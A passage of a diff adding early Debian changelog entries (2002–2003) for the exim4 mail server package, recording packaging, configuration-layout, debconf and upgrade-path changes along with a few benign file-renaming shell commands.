+ from scratch (Closes: #184099)
+ * Set return_path_add, delivery_date_add and envelope_to_add for
+ maildir-transport (Closes: #196178)
+ * Use email-addresses file in /etc/ instead of in /etc/exim4 as exim3 does,
+ exim4-config now needs to conflict with exim,exim-tls. We still include
+ code for evaluating the old file if it exist, but suggest moving the
+ contents to the new file in NEWS.Debian. postinst will remove old orphaned
+ file if it is unmodified. (Closes: #197136)
+ * Set return_fail_output instead of return_output on address_pipe transport.
+ (Closes: #201280)
+ * Stop generating rewriting rules dynamically, exim4 accepts any
+ "address-list" item as source-pattern for rewriting. (Changelog entry
+ obfuscated on purpose, read exim4debian for painful details.). Remove old
+ dynamically generated files in postinst if they were managed by upex4conf.
+ * daemon-light supports TLS (Closes: #193596)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 16 Jul 2003 13:36:27 +0200
+
+exim4 (4.20-1) unstable; urgency=low
+
+ * New upstream
+ * Standards-version 3.5.10 (no changes required)
+ * The doc packages have got new sane names - update Suggests.
+ * Fix a endless loop (currently ownly showing when upgrading from old
+ experimental packages) - Thanks to Marc Langer for the report.
+ * introduce ${Upstream-Version} as substitution variable for
+ debian/control (MH)
+ * Make dependencies less strict, *-daemon-* 12.34-1 can be installed with
+ -base 12.34-5.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 19 May 2003 14:14:16 +0200
+
+exim4 (4.14-1) unstable; urgency=low
+
+ * Upload to sid (Closes: #179066)
+ * Ship an (empty) acl_check_data with commented out examples. Add
+ Infrastructure to ease their activation. (MH)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 16 May 2003 18:02:46 +0200
+
+exim4 (4.14-0.6) experimental; urgency=low
+
+ * Don't link to gnutls' (tasn,gcrypt) dependencies directly
+ (Closes: #193018)
+ * fix AUTH PLAIN server side example to work if the data is not given
+ in initial-response (exim-bug 193094)
+ * ACL-updates (MH)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 14 May 2003 12:16:06 +0200
+
+exim4 (4.14-0.5) experimental; urgency=low
+
+ * updated version of dlopen patch (Marc Merlin)
+ * don't regenerate files managed by update-exim4.conf on package
+ updates if the local admin had deleted them.
+ * replace the listenonpublic yes/no question with one that allows one to
+ specify on which interfaces to listen to (Closes: #190498)
+ * new dc-question for dial-on-demand-users to minimize DNS lookups
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 1 May 2003 16:03:59 +0200
+
+exim4 (4.14-0.4) experimental; urgency=low
+
+ * Renamed conf.d files from *exim4-base* to *exim4-config* since
+ they can now be found in the exim4-config package.
+ WARNING, this breaks updates. After installation, execute
+ something like the following bash snipped to rename your files:
+ for i in `find . -name *exim4-base*`; do mv $i ${i/exim4-base/exim4-config}; done
+ (MH)
+ * Include more sophisticated check_rcpt ACL, include documentation,
+ include even more sophisticate check_rcpt ACL in
+ /u/s/d/e4-config/examples/acl. (MH)
+ * update-exim4.conf now filters out consecutive empty lines (MH)
+ * make update-exim4.conf's behaviour for configtype=none more consistent,
+ respect CFILEMODE and --removecomments. (Thanks to Marc Merlin)
+ * add warning about editing /etc/exim4/exim4.conf in place (Marc Merlin)
+ * use .rul instead of .disabled to override/disable configfiles in
+ /etc/exim4/conf.d/ (Suggested by Marc Merlin)
+ * fix smtp auth client-side examples (Closes: #188828), thanks to Karl
+ M. Hegbloom for the bug report (AM)
+ * add @DPATCH@-tag to patches, as required by dpath-edit-patch in
+ dpatch 1.17 (AM)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 25 Apr 2003 12:37:50 +0200
+
+exim4 (4.14-0.3) experimental; urgency=low
+
+ * add '|| true' to every call of db_input. (Thanks to Pierfrancesco Caci for
+ the bugreport.) (Closes: #187008)
+ * Don't set received_header_text in 02_exim4-base_options, use upstream's
+ default.
+ * renumber routers to have more space for local customization.
+ WARNING WARNING upgrade is broken, execute this in
+ /etc/exim4/conf.d/router to get rid of the superfluous files:
+ mv 20_exim4-base_domain_literal 100_exim4-base_domain_literal
+ mv 22_exim4-base_primary 200_exim4-base_primary
+ mv 24_exim4-base_real_local 300_exim4-base_real_local
+ mv 26_exim4-base_system_aliases 400_exim4-base_system_aliases
+ mv 28_exim4-base_hubuser 500_exim4-base_hubuser
+ mv 30_exim4-base_userforward 600_exim4-base_userforward
+ mv 32_exim4-base_procmail 700_exim4-base_procmail
+ mv 34_exim4-base_maildrop 800_exim4-base_maildrop
+ mv 36_exim4-base_local_user 900_exim4-base_local_user
+ * add *syntax_errors* directives to userforward router, to use partially
+ valid .forward files instead of skipping them. (Marc Haber)
+ * update mysql build-depends
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 9 Apr 2003 16:19:46 +0200
+
+exim4 (4.14-0.2) experimental; urgency=low
+
+ * upstream fix for crash with AUTH PLAIN
+ * upgrade to policy 3.5.9.0 (CFLAGS in debian/rules)
+ * Add (maildir) transport for handling file addresses generated by
+ alias or .forward files if the path ends in "/", enabled for .forward per
+ default, but not for /etc/aliases. Thanks to Andreas Horter.
+ * add debconf question to move files from exim3 spool to exim4 spool
+ * run exim_tidydb as mail:mail using start-stop-daemon
+ * Make manpages UTF-8 compatible with nicer quotes and escaped dashes.
+ * fakeroot debian/rules builddaemonpackages=exim4-daemon-custom \
+ buildbasepackages=no binary produced a broken exim4-config package.
+ (Bug found by Soren Andersen)
+ * introduce new replacement item DEBCONFpackageversionDEBCONF holding
+ the complete version number, might be useful for Received headers (Marc
+ Haber)
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 27 Mar 2003 17:04:02 +0100
+
+exim4 (4.14-0.1) experimental; urgency=low
+
+ * New upstream version
+ * 20_fix.lsearch.dpatch not needed anymore
+ * use new feature .ifdef instead of simulating it with condition=...
+ * change priority of exim4-daemon-light to important
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 13 Mar 2003 15:03:41 +0100
+
+exim4 (4.12-0.2) experimental; urgency=low
+
+ * instead of generating 22_exim4-base_primary by copying the correct
+ file into it, use condition=... to select the correct one. Similar
+ change to 28_exim4-base_hubuser
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 6 Mar 2003 11:55:55 +0100
+
+exim4 (4.12-0.1) experimental; urgency=low
+
+ * minimal doc-updates
+ * init-script: output status-message before starting upex4conf()
+ * polish smtp-auth examples - don't hardcode passwords in main
+ configuration file.
+ * change default file-permissions of configfile to 0644. This can be changed
+ by setting CFILEMODE in the default file.
+ * rename debian/patches/*, giving each one an unambiguous number
+ * ignore private rfc1918 and APIPA addresses in internet router (MH)
+ * correct info about authorship of dlopen patch
+ * don't link exim4-daemon-light against PAM (explicitly link it against libdl)
+ * same_domain_copy_routing = yes for primrout-internet, primrout-satellite
+ and primrout-smarthost (MH)
+ * rename debconf.results to update-exim4.conf.conf, add upgrading-magic for
+ upgrading from 4.12-0 and earlier (marked as REMOVEMEBEFORERELEASE)
+ * introduce REMOVEMEBEFORERELEASE-tag, grep -r on debian/ will show us all
+ the cruft that needs to be removed before uploading to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 5 Mar 2003 19:03:59 +0100
+
+exim4 (4.12-0) experimental; urgency=low
+
+ * removed TODO marker from the copyright file
+ * version number for first Debian upload
+ * built i386 binary package on sid
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 21 Feb 2003 14:40:42 +0100
+
+exim4 (4.12-0.0.21) experimental; urgency=low
+
+ * update copyright
+ * exim-gencert: generate certificates valid for three years instead 30
+ days
+ * remove debian/debconf/exim4.conf.template
+ * enable LMTP, LOOKUP_NIS and mailstore for daemon-light
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 21 Feb 2003 12:55:40 +0100
+
+exim4 (4.12-0.0.20) experimental; urgency=low
+
+ * ship /usr/lib/exim4/exim4 and use it to check whether daemon package
+ is installed.
+ * Exim doesn't require a HUP after logrotation. (See spec 44.2) (MH)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 20 Feb 2003 19:23:45 +0100
+
+exim4 (4.12-0.0.19) experimental; urgency=low
+
+ * Ship upstream-changelog only in exim4-base, Symlinks in packages depending
+ on it. Split off changelog entries up to 3.34-1 to changelog.Debian.old
+ which is only included in exim4-base. - Spares about 100KB.
+ * Ship ACKNOWLEDGMENTS in exim4-base docs.
+ * remove debian/exim4-config.docs, files are already shipped in exim4-
+ base
+ * disable some the unneeded dh_* commands from binary-indep target.
+ * make exim4 a metapackage
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 20 Feb 2003 12:41:17 +0100
+
+exim4 (4.12-0.0.18) experimental; urgency=low
+
+ * split off all configuration to exim4-config
+ * include exim4-config-simple source package
+ * include script to generate exim4-config source package
+ * changed distribution to experimental
+ * Add patch by Phil Hazel to fix lsearch*@ lookups. (AM)
+ * Remove exim4-daemon-perl; merge it into exim4-daemon-heavy (AM)
+ * Prepare removal of "exim4" daemon-flavour: Exchange the roles of
+ "exim4" and "exim4-daemon-light" in debian/rules: build helper
+ binaries, eximon, et.al. while building exim4-daemon-light. Rename
+ EDITME.exim4-base.diff to EDITME.exim4.diff. (AM)
+ -----
+ WARNING: This breaks your debian/EDITME.exim4-custom.diff, as it was
+ generated to show the differences to debian/EDITME.exim4-base instead of
+ EDITME.exim4-light. (AM)
+ -----
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 18 Feb 2003 16:16:45 +0100
+
+exim4 (4.12-0.0.17) unstable; urgency=low
+
+ * mv 26_exim4-base_aliases 26_exim4-base_system_aliases (MH)
+ * mv 30_exim4-base_forward 30_exim4-base_userforward (MH)
+ * WARNING: upgrades are broken!
+ -After ugrading delete conffiles no longer in package in directories
+ below /etc/exim4/conf.d/:
+ router/26_exim4-base_aliases
+ router/30_exim4-base_forward
+ * all file names for transports and routers are now consistent with
+ Transport/Router defined inside (MH)
+ * add debug_print to all transports/routers (MH)
+ * add cut -d\ -f1 to all md5sum calls in pipes (MH)
+ * add man page for exiqgrep (MH)
+ * fix typos in exiqsumm and exicyclog man page (MH)
+ * Don't install exim.8.diff as manpage, apply the patch instead. (AM)
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Sat, 15 Feb 2003 16:35:26 +0100
+
+exim4 (4.12-0.0.16) unstable; urgency=low
+
+ * Define CONFDIR-macro and use it in update-exim4.conf and some files in
+ CONFDIR. (AM)
+ * Enhance update-exim4.conf: remove comments by default, allow to write
+ output to a different file. (AM)
+ * update-exim4.conf: check validity of configfile before installing it
+ * fix breakage with newer md5sum - thanks to Sander (AM)
+ * check in init-script for smtp-service in inetd that is compatible with
+ openbsd-inetd's extended syntax (Hubert Chan) (AM)
+ * Don't link against libwrap, exim3 doesn't either (Alexander Koch) (AM)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 14 Feb 2003 19:55:54 +0100
+
+exim4 (4.12-0.0.15) unstable; urgency=low
+
+ * If exim4/dc_listenonpublic=false add an explaing line to the
+ resulting configfile instead of a blank-line (Marc Haber)
+ * In postinst and cronjob make sure that db files are owned by
+ mail:mail
+ * Add buzzword convert4r4 to description of "No configuration" profile
+ * Body of manpage exim_convert4r4: s/convert4r4/exim_convert4r4/g
+ * Change maintainer, add Marc Haber to Uploaders
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 2 Feb 2003 22:06:06 +0100
+
+exim4 (4.12-0.0.14) unstable; urgency=low
+
+ * fix bugs found by Marc Haber:
+ - search for email-addresses file in /etc/exim4/
+ - s/hostname -fqdn/hostname --fqdn/
+ * exim4-base.config: don't grep in /etc/aliases if does not exist yet.
+ * clear up config-script, using both $mailname and $dc_mailname was
+ irritating.
+ * fix wrong logic for aliases generation (= instead of !=)
+ * fix major breakage of debconf code: config-script is called two times
+ _before_ postinst writes debconf.results, db_set-commands (for sane
+ defaults) in the second-run overwrote the answers given by the user.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 1 Feb 2003 15:06:58 +0100
+
+exim4 (4.12-0.0.13) unstable; urgency=low
+
+ * link against GNUTLS
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 31 Jan 2003 16:32:31 +0100
+
+exim4 (4.12-0.0.12) unstable; urgency=low
+
+ * clean up at purge: Remove logfiles, ask about removing
+ undelivered mails in spool directory.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 31 Jan 2003 13:32:37 +0100
+
+exim4 (4.12-0.0.11) unstable; urgency=low
+
+ * clean up update-exim4.conf:
+ + fix unconditional overwriting 03_exim4-base_neverusers
+ + one central `tempfile -m...`
+ + add skeleton function example
+ * add missing 'set -e' to exim4-base.postrm
+ * If there are no debconf answers and we are making a cross upgrade
+ from exim3, try to parse its config file to seed debconf db.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 26 Jan 2003 12:22:23 +0100
+
+exim4 (4.12-0.0.10) unstable; urgency=low
+
+ * Get rid of error messages: don't call chmod/chown in
+ debconf/update-exim4.conf if the respective files don't exist. Don't try
+ to kill non running daemons.
+ * Don't start unconfigured daemon in init script, ie. require either
+ ${dc_eximconfig_configtype}" != "xnone or existence of handcrafted
+ /etc/exim4/exim4.conf.
+ Thanks to Alexander Koch for firmly pushing me this way.
+ * dc_listenonpublic was overwritten to true in config script.
+ * Typo in exim4-base.postrm prevented removal of
+ /etc/exim4/conf.d/router/28_exim4-base_hubuser
+ * Clean up /var/spool/exim4 properly; at least if there are just empty
+ directories.
+ * hub_user was broken because of unescaped $.
+ * import updated 10_daemon_close_fds.dpatch from Steve.
+ * only set neverusers if root is aliased somewhere.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 24 Jan 2003 17:14:13 +0100
+
+exim4 (4.12-0.0.9) unstable; urgency=low
+
+ * update-exim4defaults: Fix bugs, add option --init
+ * /etc/default/exim4 is no conffile anymore, it is generated with
+ update-exim4defaults.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 17 Jan 2003 13:39:46 +0100
+
+exim4 (4.12-0.0.8) unstable; urgency=low
+
+ * Don't ship now unneeded empty /var/lib/exim4/masquerade and
+ /var/lib/exim4/email_addresses
+ * move hub_user router to /etc/e4/c.d/
+ * move primary-router definition to /etc/e4/c.d/
+ * code in debian/rules installing /etc/exim4/conf.d/ tree ignores CVS
+ directories
+ * WARNING: upgrades from 0.0.6 and 0.0.7 are broken!
+ -After ugrading delete conffiles no longer in package in directories
+ below /etc/exim4/conf.d/:
+ rewrite/30_exim4-base
+ router/28_exim4-base_hub_user
+ - replace router/22_exim4-base_primary with a file containg only
+ the line "# d41d8cd98f00b204e9800998ecf8427e"
+ run update-exim4.conf afterwards and start daemon.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Tue, 14 Jan 2003 17:44:50 +0100
+
+exim4 (4.12-0.0.7) unstable; urgency=low
+
+ * Add configuration file managment code using md5sums stored in the file
+ itself to update-exim4.conf(8). Use it and move files for evaluation of
+ /e/e4/email-addresses and the masquerading rules from /var/lib/exim4 to
+ /etc/. Gets rid of /etc/exim4/conf.d/rewrite/30_exim4-base and its two
+ .includes.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 14 Jan 2003 13:05:51 +0100
+
+exim4 (4.12-0.0.6) unstable; urgency=low
+
+ * generate up to date manpage for eximstats with pod2man.
+ * EXPERIMENTAL: Split /etc/exim4/exim4.conf.template to little files
+ in /etc/exim4/conf.d/ - update docs accordingly.
+ * fix wrong path in exim4-base.doc-base.spec
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 12 Jan 2003 18:25:40 +0100
+
+exim4 (4.12-0.0.5) unstable; urgency=low
+
+ * enhance default-file a lot.
+ * ship update-exim4defaults(8) - a script to allow other packages to modify
+ the default-file.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Mon, 6 Jan 2003 23:00:15 +0100
+
+exim4 (4.12-0.0.4) unstable; urgency=low
+
+ * Compile perl plugin with -fPIC
+ * Enable IPv6 support (Andrew Mulholland)
+ * remove exim4-base.cron.d, it only contained comments (no inetd support).
+ * enhance default-file: Allow disabling any queue runs and passing
+ additional options to exim daemon and/or the queuerunner.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Sun, 5 Jan 2003 13:16:37 +0100
+
+exim4 (4.12-0.0.3) unstable; urgency=low
+
+ * Keep patches separate to make upgrading easier, using dpatch.
+ * Rename eximon to eximon4: Otherwise this would force anybody who has
+ installed eximon and runs exim v3 to switch to exim v4
+ * Polish package descriptions a little bit.
+ * Drop Recommends for netbase. We don't support inetd anyway.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 31 Dec 2002 14:31:14 +0100
+
+exim4 (4.12-0.0.2) unstable; urgency=low
+
+ * Actually compile with -O2 (Matthias Klose)
+ * Apply localscan_dlopen.patch from
+ http://marc.merlins.org/linux/exim/files/sa-exim-current/ to make it
+ possible to switch local_scan functions *without* recompiling exim.
+ * compile local_scan.c perl plugin as shared object that is dlopened,
+ document this in exim4-daemon-perl's description and doc-directory.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 21 Dec 2002 14:01:24 +0100
+
+exim4 (4.12-0.0.1) unstable; urgency=low
+
+ * New upstream 4.12, a strict maintenance release. Without any new features
+ (Don't worry - this is the real release i.e. Phil's third shot ;-)
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 18 Dec 2002 12:17:51 +0100
+
+exim4 (4.11-0.0.4) unstable; urgency=low
+
+ * Get rid of /usr/lib/exim4/exim (see README.Debian for patched files)
+ * Use relative paths in debian/eximon.dirs
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 17 Dec 2002 13:40:19 +0100
+
+exim4 (4.11-0.0.3) unstable; urgency=low
+
+ * fix dbm lookups (one-line patch to src/search.c)
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 13 Dec 2002 13:38:31 +0100
+
+exim4 (4.11-0.0.2) unstable; urgency=low
+
+ * Fresh installs were broken, as the initial test in update-exim4.conf
+ failed.
+ * update-exim4.conf exits silently if /etc/exim4/exim4.conf exists.
+ * don't invoke update-exim4.conf in postinst if configtype=none.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 11 Dec 2002 16:32:47 +0100
+
+exim4 (4.11-0.0.1) unstable; urgency=low
+
+ * New upstream version 4.11:
+ includes spec und util/* in orig.tar.gz, diff is small again.
+ see NewStuff items 49 to 57 for new features since snapshot 4.10.13.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 11 Dec 2002 13:01:07 +0100
+
+exim4 (4.10.13-0.0.4) unstable; urgency=low
+
+ * reformat manpages a little bit, start each sentence on a new line, refer
+ to /usr/share/doc/exim4-base/
+ * remove the %s from PID_FILE_PATH
+ * apply debian/fix-pid.issue.patch to fix minor security issue
+ http://www.exim.org/pipermail/exim-users/Week-of-Mon-20021202/046978.html
+ * test in init-script for working config before reloading/restarting
+ (Andreas Piesk)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 5 Dec 2002 13:04:51 +0100
+
+exim4 (4.10.13-0.0.3) unstable; urgency=low
+
+ * update copyright from NOTICE
+ * Typos in exim(8)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Wed, 4 Dec 2002 10:35:18 +0100
+
+exim4 (4.10.13-0.0.2) unstable; urgency=low
+
+ * Fix path for eximon.bin in eximon script (Andreas Piesk)
+ * Add comments at the head of exim4.conf.template, containing a short
+ introduction to the configuration scheme.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 3 Dec 2002 23:52:28 +0100
+
+exim4 (4.10.13-0.0.1) unstable; urgency=low
+
+ * Snapshot 4.10.13
+ * CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
+ * update update-exim4.conf* and documentation accordingly.
+ * Generate config.autogenerated with same permissions as
+ /etc/exim4/exim4.conf.template (it might conatain passwords)
+ * Add BIG FAT warning at head of autogenerated file.
+ * don't ship /var/lib/exim4/config.autogenerated, simply remove it on
+ purge if it exists.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Mon, 2 Dec 2002 12:45:58 +0100
+
+exim4 (4.10.12-0.0.1) unstable; urgency=low
+
+ * Upgrade to testing snapshot 4.10.12
+ * patches accepted/superseded by upstream: exim4-MID-expanded.patch, hmac*,
+ perl.c.patch
+ * patches that do not apply cleanly anymore: bV_shows_openssl_version.txt,
+ daemon_close_fds.txt, gcc_attributes-eximon.diff, gcc_attributes.txt,
+ tls_common.txt, tls_misc.txt, tls_session_cache.txt.
+ * minimize changes to scripts/exim_install - use INSTALL_ARG=-no_symlink instead.
+ * no util/cramtest.pl util/logargs.sh util/unknownuser.sh in upstream
+ tarball - perhaps only in testing version?
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 28 Nov 2002 16:11:52 +0100
+
+exim4 (4.10-0.srh20.19) unstable; urgency=low
+
+ * ship convert4r4 as /usr/sbin/exim_convert4r4 (with manpage)
+ * eximon does not provides/Conflicts: exim4-daemon
+ * switch AGAIN *-daemon provides MTA:
+ - *-daemon depends on -base instead of the other way round
+ - explicit "conflicts/replaces: exim, exim-tls" for the base package -
+ these need to add this the other way round, too (TODO).
+ - move symlinks for sendmail, mailq, rmail, rsmtp and their manpages (+the one
+ for newaliases) to the daemon-packages.
+ - no more non-debhelper-generated exim4-base.prerm, simplified
+ *daemon.postinst
+ * try to start daemon in postinst no matter whether configtype=none, people
+ might use it with a handcrafted exim4.conf.
+ * register /var/lib/exim4/email_addresses for dpkg.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 24 Nov 2002 15:04:32 +0100
+
+exim4 (4.10-0.srh20.18) unstable; urgency=low
+
+ * add "Replaces: exim4-daemon" to all the daemon flavours, needed for
+ switching.
+ * Marc Haber:
+ make exim4-daemon-custom actually work.
+ building from CVS was broken
+ clean target missed Local/eximon.conf
+ * exim-daemon-perl recommends libexim-localscan-perl
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 21 Nov 2002 17:04:54 +0100
+
+exim4 (4.10-0.srh20.17) unstable; urgency=low
+
+ * add support for building a customized daemon (exim4-daemon-custom)
+ * tighten build-depends: official exim4-base linked against db3 won't
+ work well together with exim4-daemon-custom linked against libdb2
+ * ship compile time configuration (EDITME-files) in /usd/daemon-flavour.
+ * use /var/mail instead of /var/spool/mail (#169747)
+ * make uucp a trusted user. (#169545)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 17 Nov 2002 23:06:29 +0100
+
+exim4 (4.10-0.srh20.16) unstable; urgency=low
+
+ * fix Gecos pattern: 'From: "Andreas Metzler,,," <am...'#
+ * _big_ update for README.Debian: Document which patches were applied. Short
+ note about PAM.
+ * document that the perl flavour won't deliver any mail without
+ /etc/exim4/local_scan.pl in package description.
+ * fix examples for server-side SMTP AUTH
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 9 Nov 2002 10:12:34 +0100
+
+exim4 (4.10-0.srh20.15) unstable; urgency=low
+
+ * Fix crash with perl 5.8 (threads), thanks to Eckebrecht von Pappenheim
+ <evp@heise.de>
+ * perl-package: search local_scan.pl in /etc/exim4 instead of /etc/exim.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Wed, 6 Nov 2002 22:46:12 +0100
+
+exim4 (4.10-0.srh20.14) unstable; urgency=low
+
+ * add /etc/default/exim4 (#123184, #95325)
+ * Don't start a queue runner with cron per default, exim runs as daemon.
+ * polish config-script: more states, strip blanks.
+ * Ask whether to bind to all local interfaces or only to localhost with sane
+ default depending on configtype. (#108853)
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 31 Oct 2002 14:05:50 +0100
+
+exim4 (4.10-0.srh20.13) unstable; urgency=low
+
+ * send stdout of logrotate postrotate-script to /dev/null
+ * polish exim4-base.postinst and exim4-base.templates
+ * use tcp-wrappers
+ * simplify update-exim4.conf. There is no need to only add remote_smtp
+ transport for special configurations. It does not hurt and should make it
+ easy for users to activate smtp-auth.
+ * install configration example to examples subdirectory
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 29 Oct 2002 08:42:42 +0100
+
+exim4 (4.10-0.srh20.12) unstable; urgency=low
+
+ * linked against external pcre
+ * clean up a little bit - move all manpages to debian/manpages/
+ * ship template /etc/exim4/email-addresses
+ * LFS support (-D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE)
+ * Don't force sender verification by default
+ * I actually use this version.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 27 Oct 2002 17:10:16 +0100
+
+exim4 (4.10-0.srh20.11) unstable; urgency=low
+
+ * if HUPed exim will rexec itself as /usr/lib/exim4/exim, changing the name
+ to exim - start-stop-daemon-daemon would not recognize it. Changed
+ init.script to exec /usr/lib/exim4/exim to set the processname to "exim".
+ This needs to be deuglified.
+ * use black magic in daemon-$flavour postinst to only start it there if
+ switching flavours.
+ * support for inetd has to wait for sarge+1
+ * fix description of 'exim4' daemon flavour.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 26 Oct 2002 11:09:14 +0200
+
+exim4 (4.10-0.srh20.10) unstable; urgency=low
+
+ * don't provide symlink /usr/sbin/exim anymore - this broke coinstallation
+ with uninstalled exim 3 - the exim3-init script started the exim4-daemon.
+ Ship symlink /usr/lib/exim4/exim -> /usr/sbin/exim4 and set BIN_DIRECTORY
+ to /usr/lib/exim4. This is a little bit ugly but the alterative would be to
+ patch 7 files in src.
+ * the daemon packages conflict with each other by each having
+ Conflicts/Provides: exim4-daemon
+ * Add doc base support for spec and filter.txt (bug 165961)
+ * Switching daemon flavours restarts them.
+
+ -- Andreas Metzler <ametzler@balrog.logic.univie.ac.at> Fri, 25 Oct 2002 16:14:44 +0200
+
+exim4 (4.10-0.srh20.9) unstable; urgency=low
+
+ * apply exim4-MID-expanded.patch - make domain part of M-ID configurable.
+ Shipped in debian-subdir so it can be easily patch -R'd before official
+ debian release.
+ * set spool to /var/spool/exim4 in EDITME
+ * remove /var/run/exim4 on purge
+ * remove /var/(spool|log)/exim4 on purge if empty
+ * added manpages.
+ * allow relay for 127.0.0.1 : ::::1
+ * set host_find_failed = defer for smarthost router and mimick exim3. It
+ really sucks to get a frozen message and error to the postmaster _every_
+ time I try to send a message offline.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 14:00:05 +0200
+
+exim4 (4.10-0.srh20.8) unstable; urgency=low
+
+ * info and html doc generated from separate source package - diff is
+ small
+ * remove m4 and texinfo from build-depends
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 12:22:56 +0200
+
+exim4 (4.10-0.srh20.7) unstable; urgency=low
+
+ * config script as state machine - allows going back!
+ * hopefully last forgotten entry of /var/{spool,log,run}/exim in postinst
+ and cron.* fixed.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 09:16:12 +0200
+
+exim4 (4.10-0.srh20.6) unstable; urgency=low
+
+ * generate /etc/aliases with debconf
+ * remove dpkg-statoverride managment with debconf, ship exim binary as 4755
+ root:root.
+ * update debian/copyright from NOTICE.
+ * add (commented out) maildrop-transport to template
+ * add (commented out) maildir-transport to template
+ * Remove some backslashes in template
+ * Fix *lots of* cut and paste errors, introduced by generating the
+ configuration template from the debconf_eximconfig perl script.
+ $local_delivery is wrong, define macro LOCAL_DELIVERY and use it instead.
+ Remove erranous backslashes.
+ * Add comments from the example configuration file to template.
+ * host and domain lists are colon separated.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Mon, 21 Oct 2002 22:37:45 +0200
+
+exim4 (4.10-0.srh20.5) unstable; urgency=low
+
+ * new debconf-code:
+ - shell scripts
+ - debconf-results are saved (and read from) /etc/exim4/debconf.results
+ - /etc/exim4/exim4.conf.template is a dpkg-conffile
+ - update-exim4.conf(8) merges these two files and generates exim's main
+ configuration file /var/lib/exim4/exim4.conf.
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 19 Oct 2002 19:23:35 +0200
+
+exim4 (4.10-0.srh20.4) unstable; urgency=low
+
+ * symlink usr/sbin/exim4 <-> usr/sbin/exim in -base package was wrong.
+ * move invoke-rc.d to -base package - _it_ contains the init-script
+ * move stat-overide-stuff to -base package. - The values are filled in _its_
+ config.
+ * missing stuff from log/exim4 run/exim4 transition: exim-base
+ maintainerscripts.
+ * Daemon-packages have only debconf stuff left as maintainerscripts. How
+ about letting dh_installinit manage the initscript?
+ * exim4-base.postrm has no business removing /etc/exim/exim.conf
+
+ -- Andreas Metzler <ametzler@balrog.logic.univie.ac.at> Fri, 18 Oct 2002 14:40:46 +0200
+
+exim4 (4.10-0.srh20.3) unstable; urgency=low
+
+ * /etc/exim4/...
+ * fix cronjob: Test for existence of /etc/exim4/exim4.conf - it formerly
+ tested for exim3's configuration file
+ * /usr/lib/exim/ --> /usr/lib/exim4/ -- Put eximon.bin there, too.
+
+ -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 18 Oct 2002 13:43:37 +0200
+
+exim4 (4.10-0.srh20.2) unstable; urgency=low
+
+ * more changes:
+ * /var/log/exim/ --> /var/log/exim4/
+ * /var/run/exim/ --> /var/run/exim4/
+ * /etc/init.d/exim --> /etc/init.d/exim4
+ * Use files named after the real package (exim4-base instead of) exim for
+ cron and logrotate. - use dh_installlogrotate and dh_installcron
+ * Don't install exim.8 manpages in daemon packages - symlink is enough, ship
+ real manpage in base-package. - use dh_installman.
+ * Get rid of m4-magic - without the alternatives there is no need.
+
